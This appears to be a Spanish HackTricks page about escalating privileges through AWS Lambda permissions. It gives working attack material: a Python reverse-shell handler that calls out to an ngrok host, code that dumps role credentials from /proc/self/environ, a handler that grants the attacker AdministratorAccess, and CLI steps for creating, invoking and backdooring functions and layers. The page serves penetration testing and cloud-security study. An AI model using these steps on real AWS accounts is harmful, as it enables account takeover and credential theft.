AWS - Lambda Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

lambda

Más información sobre lambda en:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Los usuarios con los permisos iam:PassRole, lambda:CreateFunction y lambda:InvokeFunction pueden escalar sus privilegios. Pueden crear una nueva función Lambda y asignarle un rol IAM existente, otorgando a la función los permisos asociados con ese rol. El usuario puede luego escribir y cargar código en esta función Lambda (con un rev shell, por ejemplo). Una vez configurada la función, el usuario puede disparar su ejecución y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas de forma indirecta a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado a la misma.\

Un atacante podría abusar de esto para obtener una shell inversa y robar el token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

También podrías abusar de los permisos del rol lambda desde la propia función lambda. Si el rol lambda tuviera suficientes permisos, podrías usarlo para otorgarte derechos de administrador:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

También es posible filtrar las credenciales del rol de la lambda sin necesidad de una conexión externa. Esto sería útil para Lambdas aisladas de la red utilizadas en tareas internas. Si hay grupos de seguridad desconocidos filtrando tus shells inversos, este fragmento de código te permitirá filtrar directamente las credenciales como salida de la lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Impacto potencial: Escalada de privilegios directa al rol de servicio lambda arbitrario especificado.

Ten en cuenta que aunque pueda parecer interesante lambda:InvokeAsync, por sí solo no permite ejecutar aws lambda invoke-async, también necesitas lambda:InvokeFunction.

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Al igual que en el escenario anterior, puedes concederte a ti mismo el permiso lambda:InvokeFunction si tienes el permiso lambda:AddPermission.

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Impacto Potencial: Escalada de privilegios directa al rol de servicio lambda arbitrario especificado.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Los usuarios con permisos de iam:PassRole, lambda:CreateFunction y lambda:CreateEventSourceMapping (y potencialmente dynamodb:PutItem y dynamodb:CreateTable) pueden escalar privilegios indirectamente incluso sin lambda:InvokeFunction. Pueden crear una función Lambda con código malicioso y asignarle un rol IAM existente.

En lugar de invocar directamente la Lambda, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda a través de un mapeo de origen de eventos. Esta configuración asegura que la función Lambda se active automáticamente al ingresar un nuevo elemento en la tabla, ya sea por la acción del usuario u otro proceso, lo que indirectamente invoca la función Lambda y ejecuta el código con los permisos del rol IAM pasado.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Si DynamoDB ya está activo en el entorno de AWS, el usuario solo necesita establecer el mapeo de la fuente de eventos para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe crear una nueva tabla con el streaming habilitado:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Ahora es posible conectar la función Lambda a la tabla DynamoDB mediante la creación de un mapeo de origen de eventos:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Con la función Lambda vinculada al flujo de DynamoDB, el atacante puede activar indirectamente la Lambda al activar el flujo de DynamoDB. Esto se puede lograr insertando un elemento en la tabla de DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Impacto Potencial: Escalada de privilegios directos al rol de servicio lambda especificado.

lambda:AddPermission

Un atacante con este permiso puede otorgarse a sí mismo (o a otros) cualquier permiso (esto genera políticas basadas en recursos para otorgar acceso al recurso):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Impacto Potencial: Escalada de privilegios directa al rol de servicio lambda utilizado al otorgar permiso para modificar el código y ejecutarlo.

lambda:AddLayerVersionPermission

Un atacante con este permiso puede otorgarse a sí mismo (o a otros) el permiso lambda:GetLayerVersion. Podría acceder a la capa y buscar vulnerabilidades o información sensible.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Impacto potencial: Posible acceso a información sensible.

lambda:UpdateFunctionCode

Los usuarios que poseen el permiso lambda:UpdateFunctionCode tienen el potencial de modificar el código de una función Lambda existente que está vinculada a un rol de IAM. El atacante puede modificar el código de la lambda para extraer las credenciales de IAM.

Aunque el atacante podría no tener la capacidad directa de invocar la función, si la función Lambda ya existe y está operativa, es probable que se active a través de flujos de trabajo o eventos existentes, facilitando así indirectamente la ejecución del código modificado.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Impacto potencial: Escalada de privilegios directa al rol de servicio lambda utilizado.

lambda:UpdateFunctionConfiguration

Introducción

Capas de Lambda permiten incluir código en tu función lambda pero almacenarlo por separado, de modo que el código de la función pueda mantenerse pequeño y varias funciones puedan compartir código.

Dentro de lambda, puedes verificar las rutas desde donde se carga el código de Python con una función como la siguiente:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Estos son los lugares:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Por ejemplo, la biblioteca boto3 se carga desde /var/runtime/boto3 (4ta posición).

Explotación

Es posible abusar del permiso lambda:UpdateFunctionConfiguration para agregar una nueva capa a una función lambda. Para ejecutar código arbitrario, esta capa debe contener alguna biblioteca que la lambda va a importar. Si puedes leer el código de la lambda, podrías encontrar esto fácilmente, también ten en cuenta que podría ser posible que la lambda esté usando una capa y podrías descargar la capa y agregar tu código allí.

Por ejemplo, supongamos que la lambda está usando la biblioteca boto3, esto creará una capa local con la última versión de la biblioteca:

pip3 install -t ./lambda_layer boto3

Puedes abrir ./lambda_layer/boto3/__init__.py y agregar la puerta trasera en el código global (una función para exfiltrar credenciales o obtener una shell inversa, por ejemplo).

Luego, comprime ese directorio ./lambda_layer y sube la nueva capa lambda a tu propia cuenta (o a la de la víctima, pero es posible que no tengas permisos para esto). Ten en cuenta que necesitas crear una carpeta python y colocar las bibliotecas allí para sobrescribir /opt/python/boto3. Además, la capa debe ser compatible con la versión de Python utilizada por la lambda y, si la subes a tu cuenta, debe estar en la misma región:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Ahora, haz que la capa lambda subida sea accesible por cualquier cuenta:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Y adjunta la capa lambda a la función lambda víctima:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

El siguiente paso sería invocar la función nosotros mismos si podemos o esperar a que sea invocada de forma normal, que es el método más seguro.

Una forma más sigilosa de explotar esta vulnerabilidad se puede encontrar en:

pageAWS - Lambda Layers Persistence

Impacto Potencial: Escalada directa de privilegios al rol de servicio lambda utilizado.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Tal vez con esos permisos puedas crear una función y ejecutarla llamando a la URL... pero no pude encontrar una forma de probarlo, ¡así que avísame si lo haces!

Lambda MitM

Algunas lambdas van a estar recibiendo información sensible de los usuarios en parámetros. Si obtienes RCE en una de ellas, puedes extraer la información que otros usuarios le están enviando, revísalo en:

pageAWS - Steal Lambda Requests

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización